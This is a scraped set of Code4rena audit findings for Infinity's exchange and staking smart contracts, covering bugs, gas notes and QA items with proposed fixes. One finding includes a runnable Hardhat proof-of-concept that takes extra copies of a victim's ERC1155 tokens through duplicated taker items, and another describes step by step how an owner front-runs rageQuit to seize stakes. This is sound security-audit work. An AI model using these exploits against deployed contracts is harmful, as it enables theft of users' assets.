https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L345

Vulnerability details

Impact

The rescueETH() function does not have the ability to access any of the contract's Eth. As a result, any Eth sent to this contract outside of the normal staking functionality will be permanently lost.

Proof of Concept

Rather than sending the Eth from the contract to the destination address, the function forwards along the Eth sent to it via msg.value.

  • If no value is sent, the function does nothing.
  • If some value is sent, that value is passed along from the caller to the destination, without the contract's funds ever being touched.

Proof of Concept Test

Recommended Mitigation Steps

Replace {value: msg.value} on line 346 with {value: address(this).balance}.

InfinityExchange: The rescueETH function cannot rescue exchange fees paid to the contract in ETH

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1229-L1232

Vulnerability details

Impact

The rescueETH function of the InfinityExchange contract is used to withdraw the ether in the contract, but the value of .call is msg.value instead of this.balance, which will cause the transaction fee to be locked in the contract.

Proof of Concept

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1229-L1232

Tools Used

None

Recommended Mitigation Steps

  function rescueETH(address destination) external payable onlyOwner {
-    (bool sent, ) = destination.call{value: msg.value}('');
+   (bool sent, ) = destination.call{value: address(this).balance}('');
    require(sent, 'failed');
  }

Gas Optimizations

Don't Initialize Variables with Default Value

description

Uninitialized variables are assigned with the types default value.

Explicitly initializing a variable with it's default value costs unnecesary gas.

findings

/2022-06-infinity/contracts/core/InfinityExchange.sol
148: for (uint256 i = 0; i < numMakerOrders; ) {
200: for (uint256 i = 0; i < ordersLength; ) {
219: for (uint256 i = 0; i < ordersLength; ) {
272: for (uint256 i = 0; i < numSells; ) {
308: for (uint256 i = 0; i < numMakerOrders; ) {
349: for (uint256 i = 0; i < ordersLength; ) {
393: for (uint256 i = 0; i < numNonces; ) {
/2022-06-infinity/contracts/core/InfinityOrderBookComplication.sol
76: for (uint256 i = 0; i < ordersLength; ) {
82: for (uint256 j = 0; j < nftsLength; ) {
197: uint256 numConstructedItems = 0;
199: for (uint256 i = 0; i < nftsLength; ) {
214: uint256 numTakerItems = 0;
216: for (uint256 i = 0; i < nftsLength; ) {
244: uint256 numCollsMatched = 0;
246:     for (uint256 i = 0; i < order2NftsLength; ) {
247:       for (uint256 j = 0; j < order1NftsLength; ) {
290:     for (uint256 k = 0; k < item2TokensLength; ) {
291:       for (uint256 l = 0; l < item1TokensLength; ) {
318: uint256 sum = 0;
320: for (uint256 i = 0; i < ordersLength; ) {

Long Revert Strings

description

Shortening revert strings to fit in 32 bytes will decrease gas costs for deployment and gas costs when the revert condition has been met.

If the contract(s) in scope allow using Solidity >=0.8.4, consider using Custom Errors as they are more gas efficient while allowing developers to describe the error in detail using NatSpec.

findings

/2022-06-infinity/contracts/staking/InfinityStaker.sol
94: 'insufficient staked amount to change duration'
96: require(newDuration > oldDuration, 'new duration must be greater than old duration');

Gas Optimizations

Preincrement Costs less gas(++i) as compared to postincrement(i++)

++i costs less gas as compared to i++ for unsigned integer, as per-increment is cheaper(its about 5 gas per iteration cheaper)

i++ increments i and returns initial value of i. Which mean
uint i = 1; i++; // ==1 but i ==2
But ++i returns the actual incremented value:
uint i = 1; ++i; // ==2 and i ==2 , no need for temporary variable here

In the first case, the compiler has create a temporary variable (when used) for returning 1 instead of 2.

Instances:

contracts/MockERC721.sol:11: for (uint256 i = 0; i < 100; i++) {
contracts/MockERC721.sol:12: _safeMint(msg.sender, numMints++);

Reference:

https://www.reddit.com/r/ethdev/comments/tcwspw/i_vs_i_gas_efficiency/

Remediation:

Use Preincrement(++i) instead of Postincrement(i++) in code.

Users could lose an unvested amount permanently after InfinityStaker.unstake().

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L116-L131
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L290-L325

Vulnerability details

Impact

Users could lose an unvested amount permanently after InfinityStaker.unstake().

Proof of Concept

It's because the timestamp of lower duration would be larger than the one of higher duration.
So vested amount of higher duration would be positive when vested amount of lower duration is 0.

  1. Stake amount 1 for SIX_MONTHS duration.
  2. 6 months later, stake another amount 1 for THREE_MONTHS duration.
  3. 1 day later, try to unstake amount 1.
  4. unstake will work without reverts because the vested amount of SIX_MONTHS is 1.
    But it will clear the staked amount of THREE_MONTHS also from L302-L304.

Tools Used

Manual Review

Recommended Mitigation Steps

The vested amount is 0 or staked amount whether it meets timestamp requirement or not.
So you can check if the vested amount is greater than 0 before clear staked amount.

if (amount > noVesting) {
  userstakedAmounts[user][Duration.NONE].amount = 0;
  userstakedAmounts[user][Duration.NONE].timestamp = 0;
  amount = amount - noVesting;
  if (amount > vestedThreeMonths) {
    if(vestedThreeMonths != 0) { //new condition
      userstakedAmounts[user][Duration.THREE_MONTHS].amount = 0;
      userstakedAmounts[user][Duration.THREE_MONTHS].timestamp = 0;
      amount = amount - vestedThreeMonths;
    }
    if (amount > vestedSixMonths) {
      if(vestedSixMonths != 0) {  //new condition
        userstakedAmounts[user][Duration.SIX_MONTHS].amount = 0;
        userstakedAmounts[user][Duration.SIX_MONTHS].timestamp = 0;
        amount = amount - vestedSixMonths;
      }
      if (amount > vestedTwelveMonths) {
        if(vestedTwelveMonths != 0)  //new condition
        {
          userstakedAmounts[user][Duration.TWELVE_MONTHS].amount = 0;
          userstakedAmounts[user][Duration.TWELVE_MONTHS].timestamp = 0;
        }
      } else {
        userstakedAmounts[user][Duration.TWELVE_MONTHS].amount -= amount;
      }
    } else {
      userstakedAmounts[user][Duration.SIX_MONTHS].amount -= amount;
    }
  } else {
    userstakedAmounts[user][Duration.THREE_MONTHS].amount -= amount;
  }
} else {
  userstakedAmounts[user][Duration.NONE].amount -= amount;
}

User can lose stake value depending on stake duration values/timestamps and early unstake

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L118-L126

Vulnerability details

Impact

Depending on the amounts and timeline of user stakes, the user can lose locked value upon unstaking. The unstake() function firstly checks the vested balance of the user for each duration and then calls _updateUserStakedAmounts(). This function steps through each duration linearly, setting the duration stake amount to 0 if the requested amount is greater than the vested amount. This will cause loss of funds in certain circumstances. A detailed example is outlined below.

Proof of Concept

Imagine the scenario where a user stakes an amount 100 for each duration, but at specific times. The user stakes for Duration.TWELVE_MONTH 12 months ago, so it is fully vested. The user then stakes in Duration.NONE, Duration.THREE_MONTHS, and Duration.SIX_MONTH right this instant. The user's stake balance and vested balance will looks as follows:

Duration | Stake | Vested
NONE | 100 | 100
3 MO | 100 | 0
6 MO | 100 | 0
12 MO | 100 | 100

The user attempts to unstake 200. This will call _updateUserStakedAmounts() as such:

Definition w/ params:
_updateUserStakedAmounts(msg.sender, amount, noVesting, vestedThreeMonths, vestedsixMonths, vestedTwelveMonths);

Actual call:
_updateUserStakedAmounts(msg.sender, 200, 100, 0, 0, 100);

When these values are passed into _updateUserStakedAmounts(), the function will set the user's THREE_MONTH and SIX_MONTH stake balances to 0. The function is a multiple-nested if statement, but the logic in question is this portion:

if (amount > noVesting) {
      userstakedAmounts[user][Duration.NONE].amount = 0;
      userstakedAmounts[user][Duration.NONE].timestamp = 0;
      amount = amount - noVesting;
      if (amount > vestedThreeMonths) {
        userstakedAmounts[user][Duration.THREE_MONTHS].amount = 0;
        userstakedAmounts[user][Duration.THREE_MONTHS].timestamp = 0;
        amount = amount - vestedThreeMonths;
        if (amount > vestedSixMonths) {
          userstakedAmounts[user][Duration.SIX_MONTHS].amount = 0;
          userstakedAmounts[user][Duration.SIX_MONTHS].timestamp = 0;
          amount = amount - vestedSixMonths;
          if (amount > vestedTwelveMonths) {
            userstakedAmounts[user][Duration.TWELVE_MONTHS].amount = 0;
            userstakedAmounts[user][Duration.TWELVE_MONTHS].timestamp = 0;
          } else {
            userstakedAmounts[user][Duration.TWELVE_MONTHS].amount -= amount;
  • amount > noVesting -> (200 > 100), so userstakedAmounts[user][Duration.NONE].amount is correctly set to 0.
  • amount is reduced to 100.
  • amount > vestedThreeMonths -> (100 > 0), so userstakedAmounts[user][Duration.THREE_MONTHS].amount is INCORRECTLY set to 0.
  • amount > vestedSixMonths -> (100 > 0), so userstakedAmounts[user][Duration.SIX_MONTHS].amount is INCORRECTLY set to 0.
  • Finally, the final else statement executes and correctly decrements userstakedAmounts[user][Duration.TWELVE_MONTHS].amount -= amount;

The user has lost the value of their 3 and 6 months stakes.

Tools Used

Manual review.

Recommended Mitigation Steps

Instead of stepping through these linearly based on duration, step through based on total vested amount of each duration. In the above example, the function should execute in the following order:

NONE -> TWELVE_MONTHS -> THREE_MONTHS -> SIX_MONTHS

QA Report

  • InfinityExchange.sol#L525: address(0) has to be added as a valid currency, otherwise isOrderValid will fail. Consider hardcoding address(0) as a valid currency, because it always is for sell orders according to the rest of the contract
  • InfinityExchange.sol#L412: isNonceValid will fail, even when the nonce would be valid, because userMinOrderNonce[user] is 0 initially. Therefore, the check nonce > userMinOrderNonce[user] fails. Consider handling this case of an uninitialized userMinOrderNonce[user] or documenting this requirement explicitly.
  • InfinityExchange.sol#L484: The documentation states that verifyMatchOrders "checks if the given complication can execute this order", which is not done. Consider updating the description to reflect the real behavior.
  • InfinityStaker.sol#L310: amount > vestedTwelveMonths can and should never happen because of InfinityStaker.sol#L123, where it is checked that the sum of the vested tokens is larger than or equal to amount. The code can therefore be removed or a revert (when the function is used from other places in the future) could be added.
  • InfinityStaker.sol#L72: The timestamp is reset for all staked tokens with the given duration when additional tokens are staked. This can disincentivize staking for some users, which is not desirable for the market place. For example, when a user has staked some tokens already for 10 months (with a duration of 12 months), he probably will not stake additional tokens, because the timer for all tokens is reset. A better solution would be to have timestamps for every deposit.
  • InfinityExchange.sol#L326 and InfinityExchange.sol#L362: When a user pays too much ETH, the additional cost is not reimbursed (in contrast to ERC20 transfers, where this is not possible). Consider reimbursing the user (like other NFT marketplaces, e.g. Rarible) when he pays too much ETH.

InfinityStaker contract needs to add rescueTokens function

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L345-L348

Vulnerability details

Impact

The rescueETH function of the InfinityStaker contract is used to withdraw the ether that the user accidentally sent. Similarly, the rescueTokens function needs to be added to withdraw the ERC20 token that the user accidentally sent. Since the user will deposit INFINITY_TOKEN into the InfinityStaker contract, it is necessary to check token != INFINITY_TOKEN in the rescueTokens contract.

Proof of Concept

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L345-L348

Tools Used

None

Recommended Mitigation Steps

Add rescueTokens function as follows

  function rescueTokens(
    address destination,
    address token,
    uint256 amount
  ) external onlyOwner {
    require(token != INFINITY_TOKEN);
    IERC20(token).safeTransfer(destination, amount);
  }

safeTransferFrom arbitrary address

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L236-L241

Vulnerability details

description

in InfinityExchange.sol, MATCH_EXECUTOR can call the function matchOneToManyOrders()

the function performs safeTransferFrom from makerOrder.signer which is a function parameter

performing safeTransferFrom from an address other than msg.sender is inherently unsafe as funds could be transferred from an arbitrary address

PoC

/2022-06-infinity/contracts/core/InfinityExchange.sol
236:       if (makerOrder.execParams[1] == weth) {
237:         IERC20(weth).safeTransferFrom(makerOrder.signer, address(this), protocolFee + gasCost);
238:       } else {
239:         IERC20(makerOrder.execParams[1]).safeTransferFrom(makerOrder.signer, address(this), protocolFee);
240:         IERC20(weth).safeTransferFrom(makerOrder.signer, address(this), gasCost);
241:       }

QA Report

Unused receive() function will lock Ether in contract

If the intention is for the Ether to be used, the function should call another function, otherwise it should revert

File: contracts\core\InfinityExchange.sol:
  120  
  121:   receive() external payable {}
  122  

File: contracts\staking\InfinityStaker.sol:
  56  
  57:   receive() external payable {}
  58  

> 0 is less efficient than != 0 for unsigned integers (with proof)

!= 0 costs less gas compared to > 0 for unsigned integers in require statements with the optimizer enabled (6 gas)

Proof: While it may seem that > 0 is cheaper than !=, this is only true without the optimizer enabled and outside a require statement. If you enable the optimizer at 10k AND you're in a require statement, this will save gas. You can see this tweet for more proofs: https://twitter.com/gzeon/status/1485428085885640706

I suggest changing > 0 with != 0 here:

File: contracts\core\InfinityExchange.sol:
  391      uint256 numNonces = orderNonces.length;
  392:     require(numNonces > 0, 'cannot be empty');
  393      for (uint256 i = 0; i < numNonces; ) {

isUserOrderNonceExecutedOrCancelled is never set to false

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L73

Vulnerability details

Description:
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L73
In above code, the boolean flag in isUserOrderNonceExecutedOrCancelled map is never set to false. The flag is set to true when order is executed. This means the map only contains address of executed orders.
If this is the case, there is no need to have the boolean flag inside the map.

If the address is present meaning it's executed, if the address is not present in the map, this means it's cancelled or not executed.
This can reduce the contract size and save some gas and processing time.

QA Report

_safeMint() should be used rather than _mint() wherever possible

_mint() is discouraged in favor of _safeMint() which ensures that the recipient is either an EOA or implements IERC721Receiver. Both open OpenZeppelin and solmate have versions of this function so that NFTs aren’t lost if they’re minted to contracts that cannot transfer them back out.

Instances

contracts/token/InfinityToken.sol:55:    _mint(admin, supply);
contracts/token/InfinityToken.sol:79:    _mint(getAdmin(), supplyToMint);
contracts/token/InfinityToken.sol:104:    super._mint(to, amount);
contracts/MockERC20.sol:8:    _mint(msg.sender, supply);

Recommendations:

Use _safeMint() instead of _mint().

InfinityStaker owner can steal user's tokens via front-running

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L136-L145
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L364-L372

Vulnerability details

Impact

User can rage quit tokens via InfinityStaker.rageQuit function which applies additional penalties specified by THREE_MONTH_PENALTY, SIX_MONTH_PENALTY and TWELVE_MONTH_PENALTY to unvested tokens. Owner of the contract is able to change these penalties at any time without any restrictions which puts him in a very privileged position and allows him to steal user's funds via front-running user's rageQuit transaction and updating penalties to very high values.

Exploit Scenario:

  1. User stakes 1000 tokens for duration of 12 months.
  2. User quickly decides to quit position via rageQuit.
  3. Owner notices rageQuit transaction in the mempool and performs front-running by updating TWELVE_MONTH_PENALTY to high value such as 100000000.
  4. Transaction updatePenalties is being included before user's rageQuit.
  5. Calculated getRageQuitAmounts returns 0 tokens for users totalToUser and penalty of 1000 tokens.
  6. All user's unvested tokens are transferred as a penalty to INFINITY_TREASURY.

This issue is also relevant in case of owner not being a malicious actor. User accepts some kind of penalty for example 4. Then owner just changes the penalty to 8. User didn't expect that change and effectively lost funds.

Proof of Concept

Tools Used

Manual Review / VSCode

Recommended Mitigation Steps

It is recommended to add set of acceptable penalties to rageQuit function (similar to a slippage on a dex) and revert transaction if the penalties are higher than these that user accepted. In addition it is recommended to add timelock for updating penalities through updatePenalties so it will be not possible to launch fron-running attack.

Agreement & Disclosures

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

  1. any sponsor staff or sponsor contractors who are also participating as wardens
  2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
  3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
  4. any other case where someone might reasonably infer a possible conflict of interest.

QA Report

QA

  1. Unindexed event parameters

Description:
Events with more than 2 parameters should have the 'indexed' keyword on their two first parameters, as defined by the ERC20 specification. Failure to include these keywords will exclude the parameter data in the transaction/block's bloom filter, so external tooling searching for these parameters may overlook them and fail to index logs from this token contract.

Code:
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L85-95

Mitigation:
Add indexed keyword for the first two parameters

  1. Events not emitted

Description:
Below update functions do not emit events. It is difficult to track off-chain changes in the threshold.

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L351
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L364

Mitigation:
Emit an event

  1. Tautoloy or contradiction
    Description:
    require(totalStaked >= 0, 'nothing staked to rage quit');
    totalStaked is a uint256, so x>=0 will always be true.

Code:
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L193

Mitigation:
Use !=0 instead of > or >=

  1. Missing zero address valdation
    Description:
    In the below references, the address zero check is not done. This can result in the wrong _matchExecutor or _WETH address

Code:
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L104
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1129
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1155
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L49
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L345
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L375

Mitigation:
Add address zero check

  1. Function visibility
    Description:
    Public functions that are never called by the contract should be declared as external to save gas

Code:
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L154
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L167

Mitigation:
Declare the functions as external

`canExecTakeOrder` mismatches `makerOrder` and `takerItems` when duplicated items present

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L154-L164
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L68-L116
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L336-L364
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L178-L243

Vulnerability details

Impact

When any user provides a sellOrder and they are trying to sell multiple tokens from n (n > 1) different ERC1155 collections in a single order, hakcers can get the tokens of most expensive collections (with n times of the original amount) by paying the same price.

In short, hackers can violate the user-defined orders.

Root Cause

The logic of canExecTakeOrder and canExecMatchOneToMany is not correct.

Let's canExecTakeOrder(OrderTypes.MakerOrder calldata makerOrder, OrderTypes.OrderItem[] calldata takerItems) as an example, while canExecMatchOneToMany shares the same error.

Specifically, it first checks whether the number of selling item in makerOrder matches with the ones in takerItems. Note that the number is an aggregated one. Then, it check whether all the items in takerItems are within the scope defined by makerOrder.

The problem comes when there are duplicated items in takerItems. The aggregated number would be correct and all taker's Items are indeed in the order. However, it does not means takerItems exactly matches all items in makerOrder, which means violation of the order.

For example, if the order requires

[
    {
          collection: mock1155Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
    },
    {
          collection: mock1155Contract2.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
    }
];

and the taker provides

[
    {
          collection: mock1155Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
    },
    {
          collection: mock1155Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
    }
];

The taker can grabs two mock1155Contract1 tokens by paying the order which tries to sell a mock1155Contract1 token and a mock1155Contract2 token. When mock1155Contract1 is much more expensive, the victim user will suffer from a huge loss.

As for the approving issue, the users may grant the contract unlimited access, or they may have another order which sells mock1155Contract1 tokens. The attack is easy to perform.

Proof of Concept

First put the MockERC1155.sol under the contracts/ directory:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import {ERC1155URIStorage} from '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155URIStorage.sol';
import {ERC1155} from '@openzeppelin/contracts/token/ERC1155/ERC1155.sol';
import {Ownable} from '@openzeppelin/contracts/access/Ownable.sol';

contract MockERC1155 is ERC1155URIStorage, Ownable {
  uint256 numMints;

  constructor(string memory uri) ERC1155(uri) {}

  function mint(address to, uint256 id, uint256 amount, bytes memory data) external onlyOwner {
    super._mint(to, id, amount, data);
  }
}

And then put poc.js under the test/ directory.

const { expect } = require('chai');
const { ethers, network } = require('hardhat');
const { deployContract, NULL_ADDRESS, nowSeconds } = require('../tasks/utils');
const {
  getCurrentSignedOrderPrice,
  approveERC20,
  grantApprovals,
  signOBOrder
} = require('../helpers/orders');

async function prepare1155OBOrder(user, chainId, signer, order, infinityExchange) {
  // grant approvals
  const approvals = await grantApprovals(user, order, signer, infinityExchange.address);
  if (!approvals) {
    return undefined;
  }

  // sign order
  const signedOBOrder = await signOBOrder(chainId, infinityExchange.address, order, signer);

  const isSigValid = await infinityExchange.verifyOrderSig(signedOBOrder);
  if (!isSigValid) {
    console.error('Signature is invalid');
    return undefined;
  }
  return signedOBOrder;
}

describe('PoC', function () {
  let signers,
    dev,
    matchExecutor,
    victim,
    hacker,
    token,
    infinityExchange,
    mock1155Contract1,
    mock1155Contract2,
    obComplication

  const sellOrders = [];

  let orderNonce = 0;

  const UNIT = toBN(1e18);
  const INITIAL_SUPPLY = toBN(1_000_000).mul(UNIT);

  const totalNFTSupply = 100;
  const numNFTsToTransfer = 50;
  const numNFTsLeft = totalNFTSupply - numNFTsToTransfer;

  function toBN(val) {
    return ethers.BigNumber.from(val.toString());
  }

  before(async () => {
    // signers
    signers = await ethers.getSigners();
    dev = signers[0];
    matchExecutor = signers[1];
    victim = signers[2];
    hacker = signers[3];
    // token
    token = await deployContract('MockERC20', await ethers.getContractFactory('MockERC20'), signers[0]);

    // NFT constracts (ERC1155)
    mock1155Contract1 = await deployContract('MockERC1155', await ethers.getContractFactory('MockERC1155'), dev, [
      'uri1'
    ]);
    mock1155Contract2 = await deployContract('MockERC1155', await ethers.getContractFactory('MockERC1155'), dev, [
      'uri2'
    ]);

    // Exchange
    infinityExchange = await deployContract(
      'InfinityExchange',
      await ethers.getContractFactory('InfinityExchange'),
      dev,
      [token.address, matchExecutor.address]
    );

    // OB complication
    obComplication = await deployContract(
      'InfinityOrderBookComplication',
      await ethers.getContractFactory('InfinityOrderBookComplication'),
      dev
    );

    // add currencies to registry
    await infinityExchange.addCurrency(token.address);
    await infinityExchange.addCurrency(NULL_ADDRESS);

    // add complications to registry
    await infinityExchange.addComplication(obComplication.address);

    // send assets
    await token.transfer(victim.address, INITIAL_SUPPLY.div(4).toString());
    await token.transfer(hacker.address, INITIAL_SUPPLY.div(4).toString());
    for (let i = 0; i < numNFTsToTransfer; i++) {
      await mock1155Contract1.mint(victim.address, i, 50, '0x');
      await mock1155Contract2.mint(victim.address, i, 50, '0x');
    }
  });

  describe('StealERC1155ByDuplicateItems', () => {
    it('Passed test denotes successful hack', async function () {
      // prepare order
      const user = {
        address: victim.address
      };
      const chainId = network.config.chainId ?? 31337;
      const nfts = [
        {
          collection: mock1155Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
        },
        {
          collection: mock1155Contract2.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
        }
      ];
      const execParams = { complicationAddress: obComplication.address, currencyAddress: token.address };
      const extraParams = {};
      const nonce = ++orderNonce;
      const orderId = ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256'], [user.address, nonce, chainId]);
      let numItems = 0;
      for (const nft of nfts) {
        numItems += nft.tokens.length;
      }
      const order = {
        id: orderId,
        chainId,
        isSellOrder: true,
        signerAddress: user.address,
        numItems,
        startPrice: ethers.utils.parseEther('1'),
        endPrice: ethers.utils.parseEther('1'),
        startTime: nowSeconds(),
        endTime: nowSeconds().add(10 * 60),
        nonce,
        nfts,
        execParams,
        extraParams
      };
      const sellOrder = await prepare1155OBOrder(user, chainId, victim, order, infinityExchange);
      expect(sellOrder).to.not.be.undefined;

      // form matching nfts
      const nfts_ = [
        {
          collection: mock1155Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
        },
        {
          collection: mock1155Contract1.address,
          tokens: [{ tokenId: 0, numTokens: 1 }]
        }
      ];

      // approve currency
      let salePrice = getCurrentSignedOrderPrice(sellOrder);
      await approveERC20(hacker.address, token.address, salePrice, hacker, infinityExchange.address);

      // perform exchange
      await infinityExchange.connect(hacker).takeOrders([sellOrder], [nfts_]);

      // owners after sale
      // XXX: note that the user's intention is to send mock1155Contract1 x 1 + mock1155Contract2 x 1
      // When mock1155Contract1 is much more expensive than mock1155Contract2, user suffers from huge loss
      expect(await mock1155Contract1.balanceOf(hacker.address, 0)).to.equal(2);
    });
  });
});

And run

$ npx hardhat test --grep PoC

  PoC
    StealERC1155ByDuplicateItems
      ✓ Passed test denotes successful hack

Note that the passed test denotes a successful hack.

Tools Used

Manual inspection.

Recommended Mitigation Steps

I would suggest a more gas-consuming approach by hashing all the items and putting them into a list. Then checking whether the lists match.

Gas Optimizations

In require(), Use != 0 Instead of > 0 With Uint Values

Context: InfinityExchange#L390-L402 (For L392)

Description:
In a require, when checking a uint, using != 0 instead of > 0 saves 6 gas. This will jump over or avoid an extra ISZERO opcode.

Recommendation:
Use != 0 instead of > 0 with uint values but only in require() statements.

State Variables That Can Be Set To Immutable

Context: InfinityStaker#L25

Description:
Solidity 0.6.5 introduced immutable as a major feature. It allows setting contract-level variables at construction time which gets stored in code rather than storage. Each call to it reads from storage, using a sload costing 2100 gas cold or 100 gas warm. Setting it to immutable will have each storage read of the state variable to be replaced by the instruction push32 value, where value is set during contract construction time and this costs only 3 gas.

Recommendation:
Set the state variable to immutable

Setting The Constructor To Payable

Context: All Contracts

Description:
You can cut out 10 opcodes in the creation-time EVM bytecode if you declare a constructor payable. Making the constructor payable eliminates the need for an initial check of msg.value == 0 and saves 21 gas on deployment with no security risks.

Recommendation:
Set the constructor to payable.

Function Ordering via Method ID

Context: All Contracts

Description:
Contracts most called functions could simply save gas by function ordering via Method ID. Calling a function at runtime will be cheaper if the function is positioned earlier in the order (has a relatively lower Method ID) because 22 gas are added to the cost of a function for every position that came before it. The caller can save on gas if you prioritize most called functions. One could use This tool to help find alternative function names with lower Method IDs while keeping the original name intact.

Recommendation:
Find a lower method ID name for the most called functions for example mostCalled() vs. mostCalled_41q() is cheaper by 44 gas.

use == rather than >= to check msg.value

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L326
https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L362

Vulnerability details

description

in the function takeMultipleOneOrders() in InfinityExchange.sol the require statement that checks msg.value should use == rather than >=, to protect the user if they send more than is required for the order

PoC

/2022-06-infinity/contracts/core/InfinityExchange.sol
326: require(msg.value >= totalPrice, 'invalid total price');
362: require(msg.value >= totalPrice, 'invalid total price');

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.